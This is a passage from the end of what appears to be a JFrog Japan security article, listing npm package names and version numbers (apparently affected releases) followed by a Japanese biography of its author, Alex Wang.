mobioffice-cli@1.0.3
monorepo-next@13.0.1
monorepo-next@13.0.2
mstate-angular@0.4.4
mstate-cli@0.4.7
mstate-dev-react@1.1.1
mstate-react@1.6.5
ng-imports-checker@0.0.10
ng-imports-checker@0.0.9
ng2-file-upload@7.0.2
ng2-file-upload@8.0.1
ng2-file-upload@8.0.2
ng2-file-upload@8.0.3
ng2-file-upload@9.0.1
ngx-bootstrap@18.1.4
ngx-bootstrap@19.0.3
ngx-bootstrap@19.0.4
ngx-bootstrap@20.0.3
ngx-bootstrap@20.0.4
ngx-bootstrap@20.0.5
ngx-bootstrap@20.0.6
ngx-color@10.0.1
ngx-toastr@19.0.1
ngx-ws@1.1.5
ngx-ws@1.1.6
oradm-to-gql@35.0.14
oradm-to-gql@35.0.15
oradm-to-sqlz@1.1.2
oradm-to-sqlz@1.1.3
oradm-to-sqlz@1.1.4
oradm-to-sqlz@1.1.5
ove-auto-annotate@0.0.10
ove-auto-annotate@0.0.9
pm2-gelf-json@1.0.4
pm2-gelf-json@1.0.5
printjs-rpk@1.6.1
react-complaint-image@0.0.32
react-complaint-image@0.0.33
react-complaint-image@0.0.34
react-jsonschema-form-conditionals@0.3.18
react-jsonschema-form-conditionals@0.3.19
react-jsonschema-form-conditionals@0.3.20
react-jsonschema-form-extras@1.0.1
react-jsonschema-form-extras@1.0.2
react-jsonschema-form-extras@1.0.3
react-jsonschema-rxnt-extras@0.4.6
react-jsonschema-rxnt-extras@0.4.7
react-jsonschema-rxnt-extras@0.4.8
react-jsonschema-rxnt-extras@0.4.9
remark-preset-lint-crowdstrike@4.0.1
remark-preset-lint-crowdstrike@4.0.2
rxnt-authentication@0.0.3
rxnt-authentication@0.0.4
rxnt-authentication@0.0.5
rxnt-healthchecks-nestjs@1.0.2
rxnt-healthchecks-nestjs@1.0.3
rxnt-healthchecks-nestjs@1.0.4
rxnt-kue@1.0.4
rxnt-kue@1.0.5
rxnt-kue@1.0.6
swc-plugin-component-annotate@1.9.1
tbssnch@1.0.2
teselagen-interval-tree@1.1.2
tg-client-query-builder@2.14.4
tg-client-query-builder@2.14.5
tg-redbird@1.3.1
tg-redbird@1.3.2
tg-seq-gen@1.0.10
tg-seq-gen@1.0.9
thangved-react-grid@1.0.3
ts-gaussian@3.0.5
ts-imports@1.0.1
ts-imports@1.0.2
tvi-cli@0.1.5
ve-bamreader@0.2.6
ve-bamreader@0.2.7
ve-editor@1.0.1
ve-editor@1.0.2
verror-extra@6.0.1
voip-callkit@1.0.2
voip-callkit@1.0.3
wdio-web-reporter@0.1.3
yargs-help-output@5.0.3
yoo-styles@6.0.326
この記事の著者:
この記事の著者:
Alex Wang (王 子龍) JFrog Japan
戦略コンサル時代、IT、自動車、製造などの業界に対して、アジャイル、DevOpsのコーチとして開発環境構築、CICD構築などのプロジェクトをリードしてきました。現在、DevSecOpsや海外最新のソフトウエア開発セキュリティ対策を日本への展開・普及を行っています。
Linked-in: https://www.linkedin.com/in/alex-wang-662290150/
EXIN DevOps Professional
PMI Project management Professional
PCI・DSS Japan member
Aoyama Gakuin University MBA holder
